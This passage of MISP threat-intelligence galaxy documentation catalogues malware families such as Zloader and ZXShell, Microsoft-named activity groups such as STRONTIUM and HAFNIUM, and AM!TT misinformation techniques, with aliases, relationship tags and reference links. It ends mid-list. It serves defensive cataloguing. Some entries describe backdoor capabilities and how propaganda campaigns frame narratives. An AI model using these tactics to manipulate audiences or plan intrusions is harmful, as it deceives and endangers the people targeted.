In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

The tag is: *misp-galaxy:malpedia="Zloader"*

Zloader is also known as:

- DELoader
- Terdot

Table 3505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit
https://blog.alyac.co.kr/3322

https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/
https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://unit42.paloaltonetworks.com/api-hammering-malware-families/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/
https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf
https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems
https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1
https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/
https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.youtube.com/watch?v=mhX-UoaYnOM
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/
https://www.youtube.com/watch?v=QBoj6GB79wM
https://twitter.com/VK_Intel/status/1294320579311435776
https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns
https://blag.nullteilerfrei.de/2020/06/11/api-hashing-in-the-zloader-malware/
https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html
https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt
https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/
https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries

https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/
https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed
https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/
https://noticeofpleadings.com/zloader/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/
https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/
https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/
https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex
https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/
https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/
https://johannesbader.ch/blog/the-dga-of-zloader/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance

https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/
https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
https://labs.k7computing.com/?p=22458
https://blogs.quickheal.com/zloader-entailing-different-office-files/
https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware
https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/
https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html
https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/
https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/
https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader
https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/
https://twitter.com/ffforward/status/1324281530026524672
https://www.lac.co.jp/lacwatch/people/20201106_002321.html
https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/
https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/
https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/

Zlob

The tag is: *misp-galaxy:malpedia="Zlob"*

Zlob is also known as:

Table 3506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob
https://blag.nullteilerfrei.de/2020/08/23/programmatically-nop-the-current-selection-in-ghidra/
https://en.wikipedia.org/wiki/Zlob_trojan

ZStealer

Information Stealer used by Void Balaur.

The tag is: *misp-galaxy:malpedia="ZStealer"*

ZStealer is also known as:

- Z*Stealer

Table 3507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zstealer
https://twitter.com/Arkbird_SOLG/status/1458973883068043264
https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf

Zumanek

According to ESET, this malware family was active exclusively in Brazil until the middle of 2020. It s identified by its method for obfuscating strings. It creates a function for each character of the alphabet and then concatenates the result of calling the correct functions in sequence.

The tag is: *misp-galaxy:malpedia="Zumanek"*

Zumanek is also known as:

Table 3508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek
https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/

https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/

ZUpdater

The tag is: *misp-galaxy:malpedia="ZUpdater"*

ZUpdater is also known as:

- Zpevdo

Table 3509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdater
https://app.any.run/tasks/ea024149-8e83-41c0-b0ed-32ec38dea4a6/

Zupdax

The tag is: *misp-galaxy:malpedia="Zupdax"*

Zupdax is also known as:

Table 3510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/
https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf

ZXShell

According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.

The tag is: *misp-galaxy:malpedia="ZXShell"*

ZXShell is also known as:

- Sensocode

Table 3511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf
https://risky.biz/whatiswinnti/
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox
https://www.secureworks.com/research/threat-profiles/bronze-union
https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw
https://attack.mitre.org/groups/G0001/
https://blogs.cisco.com/security/talos/opening-zxshell
https://lab52.io/blog/apt27-rootkit-updates/
https://attack.mitre.org/groups/G0096
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html
https://content.fireeye.com/apt-41/rpt-apt41
https://github.com/smb01/zxshell
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf

ZxxZ

Cisco Talos attributes this backdoor with moderate confidence to the Bitter APT.

The tag is: *misp-galaxy:malpedia="ZxxZ"*

ZxxZ is also known as:

- MuuyDownloader

Table 3512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html

Zyklon

The tag is: *misp-galaxy:malpedia="Zyklon"*

Zyklon is also known as:

Table 3513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon
https://www.fireeye.com/blog/threat-research/2018/01/microsoft-office-vulnerabilities-used-to-distribute-zyklon-malware.html
https://blog.talosintelligence.com/2017/05/modified-zyklon-and-plugins-from-india.html

Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Various

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:microsoft-activity-group="PROMETHIUM"*

View relationships graph

PROMETHIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 3514. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:microsoft-activity-group="NEODYMIUM"*

View relationships graph

NEODYMIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 3515. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:microsoft-activity-group="TERBIUM"*

View relationships graph

TERBIUM has relationships with:

- similar: misp-galaxy:threat-actor="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 3516. Table References

Links

https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims' computer.

The tag is: *misp-galaxy:microsoft-activity-group="STRONTIUM"*

STRONTIUM is also known as:

- APT 28
- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127
- Group-4127
- Sofacy
- Grey-Cloud

View relationships graph

STRONTIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"

Table 3517. Table References

Links

https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_A_Profile_Of_A_Persistent_Adversary_English.pdf
https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium/
https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/

DUBNIUM

DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.

The tag is: *misp-galaxy:microsoft-activity-group="DUBNIUM"*

DUBNIUM is also known as:

- darkhotel

View relationships graph

DUBNIUM has relationships with:

- similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"

Table 3518. Table References

Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2
https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
https://blogs.technet.microsoft.com/mmpc/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:microsoft-activity-group="PLATINUM"*

View relationships graph

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 3519. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: *misp-galaxy:microsoft-activity-group="BARIUM"*

Table 3520. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

LEAD

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD's victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD's objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD's attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: *misp-galaxy:microsoft-activity-group="LEAD"*

Table 3521. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

ZIRCONIUM

In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.

The tag is: *misp-galaxy:microsoft-activity-group="ZIRCONIUM"*

Table 3522. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/

GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we're encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: *misp-galaxy:microsoft-activity-group="GALLIUM"*

GALLIUM is also known as:

- Operation Soft Cell

View relationships graph

GALLIUM has relationships with:

- similar: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="likely"

Table 3523. Table References

Links
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: *misp-galaxy:microsoft-activity-group="PARINACOTA"*

View relationships graph

PARINACOTA has relationships with:

- uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"

Table 3524. Table References

Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

GADOLINIUM

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods. Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The tag is: *misp-galaxy:microsoft-activity-group="GADOLINIUM"*

Table 3525. Table References

Links
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/

HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA. In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: *misp-galaxy:microsoft-activity-group="HAFNIUM"*

Table 3526. Table References

Links
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

NOBELIUM

Threat actor behind the attacks against SolarWinds, the SUNBURST backdoor, TEARDROP malware, GoldMax malware.

The tag is: *misp-galaxy:microsoft-activity-group="NOBELIUM"*

View relationships graph

NOBELIUM has relationships with:

- similar: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:backdoor="SUNBURST" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="TEARDROP" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="GoldMax" with estimative-language:likelihood-probability="likely"

Table 3527. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at **this**

> **location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

misinfosecproject

5Ds (dismiss, distort, distract, dismay, divide)

Nimmo’s "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: *misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"*

Table 3528. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0001.md

Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China’s Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"*

Table 3529. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0002.md

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consitent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplifiction practices. Examples include midwesterners are generous, Russia is under attack from outside.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"*

Table 3530. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0003.md

Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that “absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community" (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Competing Narratives"*

Table 3531. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md

Center of Gravity Analysis

Recon/research to identify "the source of power that provides moral or physical strength, freedom of action, or will to act." Thus, the center of gravity is usually seen as the "source of strength". Includes demographic and network analysis of communities

The tag is: *misp-galaxy:amitt-misinformation-pattern="Center of Gravity Analysis"*

Table 3532. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md

Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a "whole of society" perpective the promotion of the society’s core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perpectve the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion consitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: * "Huawei is detetmined to build trustworthy networks" * "Russia is the victim of bullying by NATO powers" * "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"*

Table 3533. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0006.md

Create fake Social Media Profiles / Pages / Groups

